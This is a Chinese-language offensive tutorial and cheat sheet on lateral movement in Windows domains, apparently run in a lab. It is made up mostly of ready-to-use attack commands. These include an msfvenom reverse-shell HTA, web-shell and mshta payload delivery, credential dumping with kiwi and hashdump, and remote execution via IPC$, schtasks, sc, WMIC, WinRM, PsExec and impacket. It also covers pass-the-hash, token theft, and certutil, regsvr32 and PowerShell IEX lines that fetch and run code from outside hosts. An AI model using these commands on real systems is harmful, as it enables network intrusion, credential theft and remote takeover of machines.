内网横向移动

横向移动简介

当攻击者在拿下一台内网主机后,通常会利用当前拿下的机器当作跳板,进一步攻击内网其他主机,扩大攻击影响范围。

横向移动有三个主要阶段:

  • 侦察(主机信息收集、内网网络结构信息收集)
  • 凭据/特权收集(主机密码凭证)
  • 对网络中其他计算机的访问权限

image-20231003221424138

获得权限

MSF生成HTA反弹shell

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.247.135 lport=4002 -f hta-psh -o 4002.hta

通过WEB漏洞反弹shell

1
http://1xx.xx.xx.95:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=cmd /c mshta http://192.168.58.133:8000/6666.hta

得到MSF会话,获取账号密码及Hash

1
hashdump

image-20231004121656014

1
2
3
getsystem
load kiwi
creds_all

image-20231004121743763

1
web\administrator 1qaz@WSX
  • 登录验证
1
2
3
crackmapexec smb 192.168.247.144 -u 'administrator' -p '1qaz@wsx' --shares

smbclient //192.168.247.144/C$ -U 'web\administrator%1qaz@wsx'

image-20231004143753502

image-20231004143832763

  • 内网主机存活探测
1
2
3
nbtscan.exe -m 10.10.10.0/24

arp-scan.exe -t 10.10.10.0/24

image-20231004145241485

image-20231004145654364

image-20231004145625699

横向移动-内置工具篇

IPC$

IPC$简介

IPC$ (Internet Process Connection ) 是共享 “命名管道” 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

利用IPC$,连接者与目标主机利用建立的连接可以得到目标主机上的目录结构、用户列表等信息。

使用条件

  • 开放了139445端口;

IPC$ 连接可以实现远程登陆及对默认共享的访问,而139端口的开启表示 netbios 协议的应用。

我们可以通过139和445端口来实现对共享文件/打印机的访问,因此一般来讲,IPC$连接是需要139或445端口来支持的。

IPC$ 连接默认会走445端口,不通的话则会走139端口,这两个端口都可以单独实现文件共享

  • 目标开启 IPC$ 文件共享服务及默认共享

默认共享是为了方便管理员远程管理而默认开启的共享。

所有逻辑磁盘(c$、d$、e$…)和系统目录 WINNTWINDOWS(ADMIN$),通过IPC连接可以实现对这些默认共享的访问

image-20231004150050424

  • 需要目标机器的管理员账号和密码

默认情况下只有被添加到远程计算机管理员组的域用户(域管用户)有权限对admin$ 目录建立 IPC连接

本地的 Administrator 用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用 Administrator 用户远程连接

常用命令

1
2
3
4
5
6
7
8
1. 连接
net use \\10.10.10.30\ipc$ /user:administrator "1qaz@wsx"

2. 查看连接情况
net use

3. 查看目标主机时间
net time \\10.10.10.30

image-20231004150325344

1
2
3
4. 删除连接
net use \\10.10.10.30\ipc$ /del
net use * /del /y

image-20231004150413371

1
2
3
4
5
6
7
5.文件上传下载

#上传文件
copy shell.exe \\10.10.10.30\c$\windows\temp\plugin_update.exe

#下载文件
copy \\10.10.10.30\c$\59.exe c:\
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
6. 查看目标主机文件
dir \\10.10.10.30\c$

7. 开放/关闭 ipc$ 共享。
net share ipc$
net share ipc$ /del

8. 共享计算机 C 盘。
net share C=c:\

9. 映射共享磁盘到本地
net use z: \\10.10.10.30\c$ /user:administrator "1qaz@wsx"

10. 查看/删除共享的资源。
net share
net share C /del

11. 取消IPC远程连接。
net use c: /del
net use * /del /y

IPC$连接失败常见错误号

错误号 5,拒绝访问 【很可能你使用的用户不是管理员权限,先提升权限】
错误号 51,Windows 无法找到网络路径 【网络有问题】
错误号 53,找不到网络路径 【ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤)】
错误号 67,找不到网络名 【你的 lanmanworkstation 服务未启动;目标删除了 ipc$;】
错误号 1219,提供的凭据与已存在的凭据集冲突 【你已经和对方建立了一个ipc$,请删除后再连】
错误号 1326,未知的用户名或错误密码 【用户名或密码错误】
错误号 1385,登录失败:未授予用户在此计算机上的请求登录类型
错误号 1792,试图登录,但是网络登录服务没有启动 【目标NetLogon服务未启动[连接域控会出现此情况]】
错误号 2242,此用户的密码已经过期 【目标有帐号策略,强制定期要求更改密码】

IPC+AT+Schtasks

AT简介

AT命令可在指定时间和日期、在指定计算机上运行命令和程序。

利用

1
2
3
4
5
6
7
net use \\10.10.10.30\c$ /user:administrator "1qaz@wsx"
copy 59.exe \\10.10.10.30\c$
查看远程主机时间:net time \\10.10.10.30
AT命令添加任务:at \\10.10.10.30 19:08 c:\nbtscan.exe
AT命令删除任务:at \\10.10.10.30 1 /delete
AT命令查看任务:at \\10.10.10.30
#查看at任务列表,已经执行了的,不会显示。

image-20231004151910289

注意:

问题:执行at命令时,显示绑定句柄无效。
解决:echo 10.10.11.100 RemoteHost > C:\Windows\System32\drivers\etc\hosts

AT命令在windows server 2012等新版系统中已被弃用
AT命令如果找不到网络路径,则判断是目标主机已禁用 Task Scheduler 服务

Schtasks简介

由于AT在windows server 2012等新版系统中已被弃用,所以需要使用 schtasks 命令代替。

允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务

1
2
3
4
5
6
7
8
/Create 创建新计划任务。
/Delete 删除计划任务。
/Query 显示所有计划任务。
/Change 更改计划任务属性。
/Run 按需运行计划任务。
/End 中止当前正在运行的计划任务。
/ShowSid 显示与计划的任务名称相应的安全标识符。
/? 显示此帮助消息。

更多请参考:https://blog.csdn.net/qq_39680564/article/details/88993633

横向移动

  • 命令格式
1
2
3
4
5
6
7
8
#创建任务
schtasks /create /tn task1 /U 域\域用户 /P 域用户密码 /tr 命令 /sc ONSTART /s 域机器ip /RU system

#运行任务
schtasks /run /tn task1 /s 192.168.247.135 /U 域/域用户 /P 域用户密码

#删除任务
schtasks /F /delete /tn task1 /s 域机器ip /U 域\域用户 /p 域用户密码
1
2
3
4
5
6
schtasks /create  		创建新的计划任务。
/sc schedule 指定计划类型。有效值为 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE。
/mo modifier 指定任务在其计划类型内的运行频率。这个参数对于 MONTHLY 计划是必需的。
对于 MINUTE、HOURLY、DAILY 或 WEEKLY 计划,这个参数有效,但也可选。默认值为 1。
/tr <TaskRun> 指定任务运行的程序或命令。如果忽略该路径,SchTasks.exe 将假定文件在 Systemroot\System32 目录下。
/tn <TaskName> 指定任务的名称。
  • 建立IPC连接
1
2
net use \\10.10.10.30 /user:administrator "1qaz@wsx"
net use
  • 上传木马
1
2
dir \\10.10.10.30\c$
copy c:\windows\temp\59.exe \\10.10.10.30\c$
  • 远程主机创建定时任务
1
schtasks /create /s 10.10.10.30 /u de1ay\administrator /p "1qaz@wsx" /sc MINUTE /mo 1/tn test2 /tr "c:\59.exe"
  • 查看远程主机创建的定时任务
1
2
chcp 65001
schtasks /s 10.10.10.30 /tn test2

不更改代码页编码,直接查看可能会显示如下错误:

  • Schtasks运行远程主机上的计划任务
1
schtasks /run /s 10.10.10.30 /u de1ay\administrator /p "1qaz@wsx" /tn test2
  • Schtasks删除远程主机上的计划任务
1
schtasks /delete /tn At1 /s 10.10.10.30 /u administrator /p 1qaz@WSX3e

IPC+SC

SC简介

sc 命令可以注册、删除和查询系统服务

sc命令详解:https://www.cnblogs.com/cnsend/p/12907229.html

SC远程注册服务

1
2
3
4
5
6
7
8
9
10
11
12
13
#sc远程创建服务
#本地系统启动
sc \\10.10.10.30 create test binpath= "c:\59.exe" password=1qaz@wsx

#当 "de1ay\administrator" 用户登录时启动
sc \\10.10.10.30 create test binpath= "c:\59.exe" obj= "de1ay\administrator" password=1qaz@wsx

#sc启动指定服务
sc \\10.10.10.30 start test

#sc停止指定服务
sc \\10.10.10.30 stop test
sc \\10.10.10.30 delete test
1
sc \\10.10.10.30 qc test

注意:binpath设置选项’=’后面有一个空格

WMIC

WMIC简介

WMI:(Windows Management Instrumentation Windows 管理规范),是用户管理本地和远程计算机的一种模型。通过它可以访问、配置、管理和监视几乎所有的Windows资源。WMI的语法十分简单,基本上常见的命名空间、对象等用几乎一模一样。它对应的是Windows里的WMI服务(winmgmt)。

在 windows 2000之后的操作系统中内置了该服务。WMI使用公共信息模型(CIM)表示托管组件,其中包括系统、应用程序、网络等等。CIM中使用类表示管理对象,命名空间是一个类的集合。

通过使用135端口上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。

而WMIC是为WMI提供的命令行界面。

详细参考:https://docs.microsoft.com/zh-cn/windows/win32/wmisdk/wmic

https://blog.csdn.net/discover2210212455/article/details/82711930

命令使用条件

  1. Windows Management Instrumentation 服务开启,端口TCP 135,默认开启

  2. 防火墙允许 135、445 等端口通信

利用方法

  • 查询进程信息
1
wmic /node:10.10.10.30 /user:administrator /password:1qaz@wsx process list brief

WMI不支持执行命令,而是支持执行文件,可以通过加相应的参数执行命令,比如:

1
wmic /node:10.10.10.30 /user:administrator /password:1qaz@wsx process call create "cmd.exe /c ipconfig"
  • 利用create创建进程
1
wmic process call create /?

image-20231004173758536

1
wmic /node:10.10.10.30 /user:administrator /password:1qaz@wsx process call create "cmd /c calc.exe"

image-20231004174006858

如果出现User credentials cannot be used for local connections,应该是调用calc.exe程序权限不够的问题

如果出现Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用

wmic命令缺点是没有回显,可以使用wmiexec.vbs脚本实现回显。

  • 下载远程文件并执行
1
2
3
wmic /node:10.10.10.30 /user:administrator /password:1qaz@WSX3e process call create "cmd /c certutil.exe -urlcache -split -f http://10.10.10.80/test.exe c:/windows/temp/test.exe & c:/windows/temp/test.exe"

wmic /node:10.10.10.30 /user:administrator /password:1qaz@WSX3e process call create "regsvr32 /s /n /u /i:http://192.168.78.117:8080/feY7nzY.sct scrobj.dll"

WinRM

WinRM简介

WinRM 指的是Windows远程管理服务,通过远程连接winRM模块可以操作windows命令行,默认监听端口5985(HTTP)和5986 (HTTPS),在2012及以后默认开启。

开启WinRM

  • 判断本机是否开启WinRM服务
1
winrm enumerate winrm/config/listener

image-20231004175308208

1
2
netstat -ano | findstr 5985
wmic service list brief | findstr WinRM

image-20231004175856633

  • 判断目标主机是否开启WinRM服务

查看远程主机是否开启WinRM服务:

1
ServerScan.exe -h 10.10.10.30 -p 5985,5986

查看远程WinRM服务是否正常:

1
test-wsman 10.10.10.30
  • 命令开启WinRM服务
1
winrm quickconfig

image-20231006105019885

1
winrm enumerate winrm/config/listener

image-20231006105141161

  • 允许远程主机访问及访问远程主机

WinRM只允许当前域用户或者处于本机TrustedHosts列表中的远程主机进行访问

1
winrm set winrm/config/client @{TrustedHosts="*"}

image-20231006105929315

Winrs执行命令

1
winrs -r:http://10.10.10.30:5985 -u:administrator -p:1qaz@wsx ipconfig

image-20231006105946167

1
winrs -r:http://10.10.10.30:5985 -u:administrator -p:1qaz@wsx "cmd.exe"

image-20231006110006709

WinRM横向移动

  • 利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法。
1
winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"}

命令调用了Windows WMI中Win32_process类的Create方法,生成了一个calc.exe的新进程

image-20231006110202429

  • 在远程机器上打开进程
1
winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"} -r:http://10.10.10.30:5985 -u:administrator -p:1qaz@wsx

image-20231006110257456

  • 在远程机器上创建服务
1
winrm invoke Create wmicimv2/Win32_Service @{Name="test";DisplayName="test";PathName="cmd.exe /k c:\59.exe"} -r:http://10.10.10.30:5985 -u:administrator -p:1qaz@wsx

image-20231006110337086

  • 在远程机器上启动服务
1
winrm invoke StartService wmicimv2/Win32_Service?Name=test -r:http://10.10.10.30:5985 -u:administrator -p:1qaz@wsx

image-20231006110401857

横向移动-外部工具篇

Smbexec、Psexec

Psexec简介

PsExec是一种轻巧的telnet替代品,可让您在其他系统上执行进程,并为控制台应用程序提供完整的交互性,而无需手动安装客户端软件。

psexec下载地址: https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

impacket下载地址:
py:https://github.com/SecureAuthCorp/impacket
exe:https://github.com/maaaaz/impacket-examples-windows

Psexec原理

  1. ipc$连接,释放Psexesvc.exe

  2. 通过服务管理OpenSCManager打开受害者机器上服务控制管理器的句柄

  3. 通过CreateService创建服务

  4. 获取服务句柄OpenService使用StartService启动服务

Psexec使用前提

  1. 对方主机开启了 admin$ 共享,如果关闭了admin$共享,会提示:找不到网络名

  2. 对方未开启防火墙

  3. 如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。

  4. 如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。

PsExec.exe使用

微软官方工具包

  • 直接使用

第一次运行会弹框,输入 –accepteula 这个参数就可以绕过

如果出现找不到网络名,判断目标主机已禁用ADMIN$共享

1
psexec.exe \\10.10.10.30 -u pc\administrator -p 1qaz@wsx -s cmd.exe -accepteula

image-20231006135444353

  • 建立IPC连接,无需输入密码
1
2
3
4
5
6
7
net use \\IP /u:域名称\域账号 密码

反弹cmd:
psexec.exe \\10.10.10.30 -s cmd.exe -accepteula

执行命令:
psexec.exe \\10.10.10.30 whoami -accepteula

image-20231006135701628

  • 重要参数
1
2
3
4
-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)
-d 不等待程序执行完就返回
比如想上传一个本地的getpass到你远程连接的服务器上去:
Psexec.exe \\ip -u user -p pass -c c:\getpass.exe –d
  • Cobaltstrike
1
2
beacon> shell psexec.exe \\10.10.10.30 -u de1ay\Administrator -p 1qaz@WSX3e whoami
beacon> shell psexec.exe \\10.10.10.30 -u de1ay\Administrator -p 1qaz@WSX3e mshta http://192.168.78.117:8088/download/file.ext

psexec 传递命令时不要添加双引号否则会爆 “系统找不到指定的文件” 的错误。

Psexec.py

impacket套件中的Psexec与官方psexec.exe相比会自动删除服务,增加隐蔽性

  • 交互式命令行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
C:\>psexec.py pc/administrator:1qaz@wsx@10.10.10.30
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[*] Requesting shares on 10.10.10.30.....
[*] Found writable share ADMIN$
[*] Uploading file DabwFVJj.exe
[*] Opening SVCManager on 10.10.10.30.....
[*] Creating service KNri on 10.10.10.30.....
[*] Starting service KNri.....
[!] Press help for extra shell commands

C:\Windows\system32>exit
[*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on 10.10.10.30.....
[*] Stoping service KNri.....
[*] Removing service KNri.....
[*] Removing file DabwFVJj.exe.....

直接执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
C:\>psexec.exe pc/administrator:1qaz@wsx@10.10.10.30 whoami
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[*] Requesting shares on 10.10.10.30.....
[*] Found writable share ADMIN$
[*] Uploading file SLZVAxLl.exe
[*] Opening SVCManager on 10.10.10.30.....
[*] Creating service slqx on 10.10.10.30.....
[*] Starting service slqx.....
[!] Press help for extra shell commandsnt authority\system
[*] Process whoami finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on 10.10.10.30.....
[*] Stoping service slqx.....
[*] Removing service slqx.....
[*] Removing file SLZVAxLl.exe.....
  • Cobaltstrike
1
shell c:\psexec.exe administrator:1qaz@WSX@10.10.10.30 whoami
1
shell c:\psexec.exe administrator:1qaz@WSX@10.10.10.30 mshta http://192.168.78.104:80/download/file.ext

Smbexec.py

impacket套件

smbexec是一款基于psexec的域渗透测试工具,并配套samba工具。

445端口

1
2
3
4
5
C:\>smbexec.py de1ay/administrator:1qaz@WSX3e@10.10.10.30
Impacket v0.9.17 - Copyright 2019 SecureAuth Corporation

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>

Wmiexec

Wmiexec.vbs

基本原理:当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹。最后,通过FSO组件访问远程共享文件夹(需要用到445端口)中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享。

  • 1.单命令执行
1
cscript.exe wmiexec.vbs /cmd ip username password "command"
  • 2.半交互模式
1
shell cscript.exe //nologo c:\wmiexec.vbs /shell ip username password
  • 3.注意

wmi只是创建进程,没办法去判断一个进程是否执行完成(比如ping),这样就导致wmi.dll删除不成,下一次又是被占用,这时候修改一下vbs里面的名字就好:Const FileName = “wmi1.dll”,也可以加入-persist参数(后台运行)

非域用户登陆到win08和2012中,只有administrator可以登陆成功,其他管理员账号会出现WMIEXECERROR: Access is denied

WMI-HACKER

介绍:免杀横向渗透远程命令执行,常见的WMIEXEC、PSEXEC执行命令是创建服务或调用Win32_Process.create执行命令,这些方式都已经被杀软100%拦截,通过改造出WMIHACKER免杀横向移动测试工具。此工具通过135端口进行命令执行,读取执行结果以及进行文件传输时无需445端口,通过把执行结果写入注册表中,然后进行读取。

主要功能:1、命令执行;2、文件上传;3、文件下载

使用:

1
cscript //nologo WMIHACKER_0.6.vbs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
有命令回显执行方式

> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1

无命令回显
> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt" 0

模拟shell模式
> cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!"

文件上传-复制本机calc.exe到远程主机c:\calc.exe
> cscript wmihacker_0.4.vbe /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"

文件下载-下载远程主机calc.exe到本地c:\calc.exe
> cscript wmihacker_0.4.vbe /download 172.16.94.187 administrator "Password!" "c:\calc""c:\windows\system32\calc.exe"

https://github.com/360-Linton-Lab/WMIHACKER

wmicmd.exe

wmicmd命令回显(工作组)

https://github.com/nccgroup/WMIcmd

1
WMIcmd.exe -h 10.10.10.30 -u administrator -p 1qaz@WSX -d . -c "ipconfig"

Wmiexec.py

Impacket套件

原理就是把数据先存到一个临时文件中,在每次读取完执行结果后就自动删除。可以用来回显执行命令的结果和获取半交互式的shell

1
python wmiexec.py -share admin$ administrator:1qaz@WSX@10.10.10.30

pth-winexe

Kali自带pth工具集

  • 工作组
1
pth-winexe -U administrator%1qaz@WSX3e --system --ostype=1 //10.10.10.30 command
1
pth-winexe -U de1ay/administrator%Aatest --system --ostype=1 //192.168.3.90 command

Metasploit

Psexec

  • 执行单个命令的PTH模块

auxiliary/admin/smb/psexec_command

1
2
3
4
5
6
7
8
msf5 > use auxiliary/admin/smb/psexec_command
msf5 auxiliary(admin/smb/psexec_command) > options
msf5 auxiliary(admin/smb/psexec_command) > set command whoami
msf5 auxiliary(admin/smb/psexec_command) > set RHOSTS 10.10.10.30
msf5 auxiliary(admin/smb/psexec_command) > set SMBDomain de1ay
msf5 auxiliary(admin/smb/psexec_command) > set SMBUser administrator
msf5 auxiliary(admin/smb/psexec_command) > set SMBPass 1qaz@WSX3e
msf5 auxiliary(admin/smb/psexec_command) > run
  • 执行直接就获取到meterpreter的PTH模块

exploit/windows/smb/psexec

1
2
3
4
5
6
msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set RHOSTS 10.10.10.30
msf5 exploit(windows/smb/psexec) > set SMBDomain de1ay
msf5 exploit(windows/smb/psexec) > set smbuser administrator
msf5 exploit(windows/smb/psexec) > set smbpass 1qaz@WSX3e
msf5 exploit(windows/smb/psexec) > run

exploit/windows/smb/psexec_psh

1
2
3
4
5
6
msf5 > use exploit/windows/smb/psexec_psh
msf5 exploit(windows/smb/psexec_psh) > set RHOSTS 10.10.10.30
msf5 exploit(windows/smb/psexec_psh) > set SMBDomain de1ay
msf5 exploit(windows/smb/psexec_psh) > set smbuser administrator
msf5 exploit(windows/smb/psexec_psh) > set smbpass 1qaz@WSX3e
msf5 exploit(windows/smb/psexec_psh) > run

auxiliary/admin/smb/ms17_010_command

Token窃取

  • Token简介

Windows有两种类型的Token:

Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)

Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)

两种token只在系统重启后清除

具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效

  • Metasploit

在Metasploit中,可使用incognito实现token窃取,Metasploit中的incognito,是从windows平台下的incognito移植过来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 加载incognito模块
load incognito

# 列举token
list_tokens -u

# 查看当前token
getuid

# 提示至system权限
getsystem

# token窃取
impersonate_token "NT AUTHORITY\\SYSTEM"

# 从进程窃取token
steal_token 4500

# 返回之前token
rev2self、drop_token

image-20231007215229982

Cobaltstrike

凭证获取

1
2
3
hashdump

logonpasswords

扫描存活主机

PortScan扫描存活主机

Psexec

Psexec_psh

Psexec_psh hash传递

Token窃取

steal token

de1ay\administrator登录状态

de1ay\administrator注销状态

SharpRDP

一个.NET控制台应用程序工具,可用于对横向目标执行针对远程目标的经过身份验证的命令执行。

用于经过身份验证的命令执行的远程桌面协议控制台应用程序

原理详解

再谈远程桌面横向移动

项目地址:0xthirteen/SharpRDP

使用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Regular RDP connection and execution
# 常规RDP连接和执行
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\userpassword=password

# Exec program as child process of cmd or powershell
# 执行程序作为cmd或powershell的子进程
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\userpassword=password exec=cmd

# Use restricted admin mode
# 使用受限管理模式
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe"

# Connect first host drives
# 连接第一个主机驱动器
SharpRDP.exe computername=domain.target command="\\tsclient\C\Temp\file.exe" username=domain\user password=password connectdrive=true

# Execute command elevated through Run Dialog - CURRENTLY BUGGED
# 执行通过运行对话框提升的命令-当前已安装
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe" username=domain\userpassword=password elevated=winr

# Execute command elevated through task manager
# 执行通过任务管理器提升的命令
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\userpassword=password elevated=taskmgr

# Add Network Level Authentication
# 添加网络级身份验证
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\userpassword=password nla=true

# Ask to take over logon session
# 要求接管登录会话
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\userpassword=password takeover=true

注:command为在目标机器上执行的命令

如果在目标上启用了受限管理模式,则不要指定任何凭据,它将使用当前用户上下文。
可以在beacon上PTH和make_token,windows系统上 runas /netonly

使用效果

1
SharpRDP.exe computername=172.26.2.43 command="powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://139.155.49.43:880/a'))\"" username=MINGY\WIN7-1 password=iam8@Mingyue123

Impacket套件

impacket套件是通过445端口进行通信的,不是135端口。

  • Windows

https://github.com/maaaaz/impacket-examples-windows

1
2
# 域用户
wmiexec.exe -hashes :518B98AD4178A53695DC997AA02D455C 域名/administrator@192.168.3.123"ipconfig"
  • Linux
1
2
3
4
5
# 工作组
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c administrator@10.10.10.30 "ipconfig"

# 域用户
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c 域名/administrator@10.10.10.30 "ipconfig"